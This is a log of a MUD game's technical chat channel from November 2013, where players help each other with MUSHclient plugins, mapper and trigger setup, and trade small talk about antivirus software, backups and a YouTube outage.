T3/r7/2013-11-17.txt.gz:{chan ch=tech}Swangin Tech: does anyone know how to reset the window size of a plugin?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Tech: depends on the plugin
T3/r7/2013-11-17.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: most you can just reinstall
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Swangin Tech: It's not working when I reinstall it
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Bast Tech: which plugin?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Tech: all of the plugins that come with the aard MUSHclient package are reset by typing "resetaard"...other plugins may have different commands
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Tech: winkle's mapper extender by typing "xset reset gui"
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Swangin Tech: that worked
T3/r7/2013-11-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Anyone ever seen an issue where Mush mapper runs the path from the portal landing room THEN enters the portal, instead of the normal enter portal, then run from the portal landing room to the room?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Tech: sounds like the portal was input as a cexit instead
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Mencheres Tech: is there anyway for me to keep my settings when we upgrade mushclient for aard?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Sickerone Tech: there is a guide on the aard site
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Mencheres Tech: wiki?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Lilleana Tech: so I keep getting this when I try to use my XRT Area function  Alias function "map_goto" not found or had a previous error.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Lilleana Tech: when i restart aard it works just fine - but the second i request on quest it does it again
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Lilleana Tech: that plus lines of errores
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Did you recently upgrade MUSHclient?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Lilleana Tech: yes, earlier today - i didn't upgrade but rather just reinstalled a fresh copy because mine was acting up for another areason
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not sure SnD is still current for the new quest format
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Lilleana Tech: dropped in my aliase files and my aardwolf.db file 
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And of course WinkleWinkle is no longer here to update it
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Aizma Tech: Did he die?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Lilleana Tech: hmmm
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Book of Etzli Tech: That's kind of an asinine question to ask, "Did he die?"
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Aizma Tech: Well, he said "of course he's not here" with such a sense of finality...
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Meaning that he hasn't been on in almost a year...
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Aizma Tech: But the way I read it, the implication was that not only has he not been here, but he will never be here again
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Aizma Tech: Then again, I read some Jane Austen today. Maybe I'm just in that kinda mood.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Divlia Tech: any lua pros here? 
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Swalec Tech: how do I update the spells that bast's spellup plugin knows about -- everything is giving me "not in list"
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there a way to isolate the names of players in the room your in?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Lilleana Tech: you can change their color to make them stand out from mobs if that's your problem 
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Cherylpantz Tech: can do 'who room'
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: trying to isolate names so i can trigger on them to add to a table
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: closest i got was study, but it also shows mobs
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: both of my upper incisors hurt at the root level when I run or shake my head quickly.  Is this because I have cavities or because I'm getting over a cold and there is congestion / pressure?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: probably congestion, try steam
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: phew, I was worried it was cavities.  Because I also ate a bunch of jolly ranchers last week, and those things are death to teeth
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tormat Tech: take a decongestent and see if it helps.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Ontuct Tech: pretty sure it would take more then a week and not a single bag of jolly ranchers
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: steam is the cheapest decongestant, btw
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: decongestants just smell nice
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: yes tiger, but then I'll get all the bacteria and spores riding the steam cloud
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Ontuct Tech: huffing gaseous dihydrous oxide?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Seriously koji?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: where are you getting your steam from that harbours bacteria and spores?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: ^
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: the shower
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: then boil water and stick your head over the bowl witha  towel over your head
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: can you just freeze all your chars koji, so we dont have to deal with you?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: what purpose does the towel serve
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: redwood, help ignore.  thanks.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: less of the steam escapes
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Doesnt work for you showing up on a public channel. genius.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: oh, i was picturing wrapping it like a turban
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: lol redwood, just... lol.  maybe read it again.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Ayasinda Tech: at least there are enough 'yes' votes to self noteban.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: nope, acts in the same way as pulling the duvet over your partners head when you fart in ebd
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Elxi Tech: Did google ban you? Is that why you think you need to ask on tech about health questions?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Webmd ipbanned him.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: ayasinda - kojiro is frozen due to circumstances related to that poll, so you got more than your wish.  I said I wouldn't write notes on alts except for personal, and I'll live by that.  Though I suspect folks rocked the vote with alts.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Sure it had nothing to do with you impersonating an imm while stealthed.. 
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Zade Tech: Tinada and Lorendale were camped at the Vote 18 booth, /likely/ taking down the names of those that voted, including noting how they voted
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: that's a conspiracy theory, surely
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: go look at abelinc's logs of immtalk if you want the facts.  zade - i've asked whether related activities constitute a bot and was answered affirmatively.  so i hope they get nuked for it.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Swangin Tech: IP address matching for the win
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: immtalk, but ive seen the better log of you in the room with the voting booth stealthed insinuating you were a wizi imm.. 
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Zade Tech: gathering information is "legal" and they likely kept the voting legitimate
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: you haven't seen the full log because kerith didn't post it.  Anyway, stop harassing me about it, and use the ignore function.  Anyone else, don't believe redwood go look at the immtalk log for the facts, and now I'm done with this subject.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Ayasinda Tech: nah, I rather believe redwood, thanks.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Goes two ways. Ignore me if you have an issue what I am talking about. And dont be so ignorant to assume you know what people have posted.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: believe the guy who is just backing his clan leader, claims to know the facts and nuances of the situation without being there, but doesn't know how the ignore function works.  Sounds like somebody who wouldn't miss a beat.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Shutterbug Rumour Tech: can we NOT have this conversation on this channel, thanks :)
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Piffaron Tech: rabble rabble rabble
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tech: Sonshi . o O ( immtalk )
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: are massive .pst files still effecitvely un-backupable on a daily basis?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: I'm talking 8 gb, would like an auto daily backup
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: hoping Outlook 10 or Win 8 fixed that architecture or something?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: anything backupable with sufficient hardware
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: yea but I need to do it to a remote location/cloud through the 'net
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: then you're screwed
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: reduce the size of pst or move to a cloud based client
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: so any changes to outlook re-writes the entire .pst file, still?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: i don't know if outlook still uses pst or whether it uses a new format, but chances are it will
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Justme Juictice Tech: thanks tiger
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Ratpack Rintrah Tech: did one of the youtube hamsters pass away?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: que?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Ratpack Rintrah Tech: shows up as http error 500 internal...
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Swangin Tech: That's actually happening everywhere
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Ratpack Rintrah Tech: hamsters* .. odd
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Swangin Tech: Youtube is down with an internal 500
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: ddos maybe?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: still works for me
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: hopefully  it's something major
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: if they are still getting 500 errors and i can access it it probably has something to do with loadbalancing
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: just my guess though
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: bout ready to get my hammer though and fix my printer issues
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Leinei Tech: Individual videos are up, just the homepage that's down
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Leinei Tech: from what I can tell
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: looks fine to me
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: still fine for me
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tigernuts Tech: broken for me
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nsa is probably messing with their dns
T3/r7/2013-11-18.txt.gz:{chan ch=tech}ShadowWalker Tech: nasa would have better things to do :p
T3/r7/2013-11-18.txt.gz:{chan ch=tech}ShadowWalker Tech: could be some kiddie doing a dos on one of thier ip's
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: printers: not quite computer enough to troubleshoot normally
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: not quite cheap enough to drop and just get a new one
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tormat Tech: same first step... reboot :P
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Definitely Defines Tech: depending on the printer really
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you mean make user get up
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yeah we have all hp m1212nf dlafjldfa MFP
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Definitely Defines Tech: ugh that sucks
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yeah spent the last 2 days figuring out printer redirection for them
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Definitely Defines Tech: right well for maintenance... they print pretty nice lol
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Definitely Defines Tech: pfff paper... hahahaha
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol 
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: that was actually what i was thinking. i email i don't print
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Definitely Defines Tech: i havent printed a single page at my new job... so awesome to say that lol
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i only print because they won't let me send emails for billing
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Enchantra Tech: What does moonbot go off of to detect the moons so well? I mean, when I type moons all I see is what moon it is and no timer.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}WarPigs Tech: gmcp?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: it goes off their messages
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Zetkax Tech: not gmcp, its just based on each moon rising/falling
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: when you log in you have to wait for each to give a message before it's accurate
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Zetkax Tech: each moon has a fixed cycle, when you see all three moons you can calculate everything
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Kind of sick of dealing AVG 2013 Free, anyone have any recommendations for a good free anti-virus?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Flak Tech: good question, i'm curious to know this as well.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Flak Tech: avg = avast?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: I'm assuming so.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Flak Tech: yeah thats the best free one i've used i think
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Nope AVG isn't avast.  http://free.avg.com/us-en/homepage
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Flak Tech: ah ok
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Flak Tech: try avast maybe?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Summoner Yuna Tech: Avast isn't free (unless there's some kind of free trial version).
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Book of Etzli Tech: avast is too free
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Elysian Tech: using free avast as well. :)
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Elysian Tech: and have done for years
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Elysian.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Does it slow down your computer noticably?
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Book of Etzli Tech: To be honest, it did for me.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Summoner Yuna Tech: Oh. I did not know there was a free version of Avast :P.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Book of Etzli Tech: But that was my fault,I'msure.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Loreli Tech: Anyone know if the extglob !() is available in zsh? I tried 'setopt kshglob' and 'setopt extendedglob' and neither are seem to work. The shell responds that a number is expected.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: well the install of avast was certainly smooth
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Stupid AVG said I couldn't install on network drive, it wasn't a network drive...
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Definitely Defines Tech: the correct solution is to uninstall avg
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeap I did that, their removal tool does work prettty well at least, once you find it...
T3/r7/2013-11-18.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Never fun to unsinstall virus software in my experience.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Definitely Defines Tech: roger that
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Definitely Defines Tech: antivirus software is one of the worst virii in my opinion
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Akuri Tech: that is why i use a modem hahaha 
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Tech: [**NOPK**] Redwood raises an eyebrow at Akuri's weird actions.
T3/r7/2013-11-18.txt.gz:{chan ch=tech}Definitely Defines Tech: hur?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: I think that would be better for this channel, actually.  Does anyone know how to set a trigger on cmud to make an audible beep when the message that says we can quest again appears? I lose it in spam so much....
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: set trigger to #beep
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: Thanks, Redryn. Now, to find a file to replace the little ding xD
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: there's a function to play .wav files as well
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: I don't know all this stuff xD
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: google is your friend :p
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: That's what I am working with :p
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: or just go with mush
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tech: Redryn blinks innocently.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: way more mush users
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: I bought cmud, gonna use it. lol
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol mush is simplicity to learn
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: i tried cmud for 5 days and returned it :/
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: I learned to use it ages ago but it has been so long that I forgot
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i beleive cmud can do more then mush
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: doubt it
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: for some things
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: only thing mush can't do well is gags
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: or subs
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Nuanse Tech: aardmush has everything you need "out of box" ...cmud you need to build everything from scratch
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: It does. I like some of the simple things. Like the thing that lets you scroll up and still keeps the current screen scroll going at the same time
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: its subs that i wish i could do
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: yea me too :(
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Nuanse Tech: subs sucks. it's doable, but way too much work
T3/r7/2013-11-19.txt.gz:{chan ch=tech}SlowMoos Tech: i don't really get why nobody uses mudlet...
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well ive been trying to figure out how to sub with colours but haent been able to
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Nuanse Tech: ColourNote ("darkred", "Black", "(Red Aura) ", "yellow", "black", "Hamatula (", "white", "Black", "210", "yellow", "black", ")")
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: i figured out subs by looking at the hyperlink plugin
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Nuanse Tech: and small things to handle target flags :)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hmm ill try that, thanks red
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: you loop on the style array or something basically
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: been a long time since i touched it
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah i found style arrays but i had a lot of trouble figure ing it out
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: something like for i,v in pairs styles do tellcolor v.textcolor, v.backcolor, v.text i think
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: that will duplicate a line
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hmm seems about right
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: then you have to do all sorts of crap to change something inside that line
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: mush just sucks at it :(
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ya, well thats life
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: but thanks again will definatly take a look
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Copying all your files before a reinstall is always a harrowing process. Always afraid you'll miss something.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: any reason why xrt doesn't wseem to be working for me since I remorted?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Piffaron Tech: use rt, if I recall xrt forgets about portal level limits
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: ok
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: still deosn't make sense becusae it is using my aylorian portal and then running me to differetnt locations
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: any ideas on why S&D doesn't work?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: do you ever have to update plugins or perhaps reset them?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Ayasinda Tech: sometimes, yes
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Wraiff Tech: I have to reset them once in a while
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: do you just remove and reload it?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Wraiff Tech: reinstall
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: I reinstalled, still no good any other ideas?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Wraiff Tech: Is it erroring?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: no just running me to not the right locations for some areas not all
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: for example gallows hill and lidnesh
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Wraiff Tech: I usually have to reinstall the GMCP Mapper plugin to resolve those issues
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: I have reinstalled all plugins still having issues, any other ideas?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: I get this message Aardwolf MUSHclient Package Update Check Error Could not access the Aardwolf MUSHclient Package download page to check for the latest version number. Please make sure that you are able to access the url below in your browser and then type 'PACKAGE UPDATE CHECK' to try again...
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: I am able to view the url though and it still won't update
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: am I able to update it manually?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: I just spent an hour trying to debug regex because I didn't realize . doesn't match line feed by default in Java. I want that hour of my life back.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Ontuct Tech: I felt the same way after watching 'Speed 2'
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tormat Tech: then give up  java for life, you will get it back
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Swangin Tech: But in that hour, you learned what the . does :D
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Java is fun as hell: It's like being on vacation with a tequila. But the "match anything" character magically not matching one character by default is maddening.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: It makes no sense. Multiline matching is off by default, so why that? Ugh.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: so my mud never updated since I was playing on the desktop of windows 7 and not the flash drive like recommended, is there a way I can update my old versioin manually or transfer over my mapper info , triggers etc to my new version which will stay on my flash drive?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Trachx Tech: just read how to upgrade your client
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Trachx Tech: it is enough just to move some files, yet your target version should be more recent than source one
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: ok thanks I will try
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Trachx Tech: always backup files before overwrite
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Ratpack Rintrah Tech: would there be an easy way to either transfer mapper portal entry's or cexits between clients?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: any ideas how to reset search and destroy other than reinstalling?  Or can anything else cause xrt to take me to different locations than it should?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tormat Tech: you can reset the databse.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Trachx Tech: you can "ext debug" and check why xrt takes you to wrong area
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: What is the command to have all the windows in mush resize?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tigernuts Tech: https://www.youtube.com/watch?feature=player_embedded&v=p3KlrfjcjV4
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: resetaard
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tigernuts Tech: latest threat to the internet
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: thx
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Lechist Tech: I am making aliases to runto public portals. goonyx does "mapper goto 47108", portal room at  The Underground Hall but though it works in the command line it fails as an alias. Any ideas please? 
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: you need to change the dropdown in the alias edit dialog to use "execute" rather than "send"
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Lechist Tech: I new it would be simple! Thanks.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: any idea why s&d will not work?  When I click to go to gallows it takes me somewhere lost in cradlebrook
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Shinwoo Tech: also many other areas don't seem to work
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tormat Tech: bah, i hate it when the map isnt saved from last session
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: Ugh, stupid cmud is confusing me now xD i am used to writing triggers from mushclient. i just want to make my QUEST: You may now quest again. trigger an audible beep
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: So... what's the problem?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why are you not using MUSHclient?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}I Sense Nonsense Tech: make it page yourself
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: instead of having it all easy like, this is what appears, this is what happens when that appears, it has all these stupid other boxes and buttons in the trigger making screen. i used to know how to do this ages ago
T3/r7/2013-11-19.txt.gz:{chan ch=tech}I Sense Nonsense Tech: so the output would be "Page self Quest!" or something
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Everyone I know using cmud only does so because they can't be bothered redoing it all for MUSH
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Even if CMUD is much glitchier, many consider its map to be more flexible and useful.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Aizma Tech: How is it glitchier? (I haven't ever used it, personally)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: There are some things I can easily do in CMUD that I can't, for the life of me, figure out in MUSH.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The MUSHclient map is custom designed for aard, so while it is less flexible, you can't use that flexiness for aard
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: The downside to CMUD is that it's no longer being developed, so bugs that currently exist will always exist.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Not being able to manually place rooms and have them all drawn is a big downside to me. The auto-generation is only "adequate".
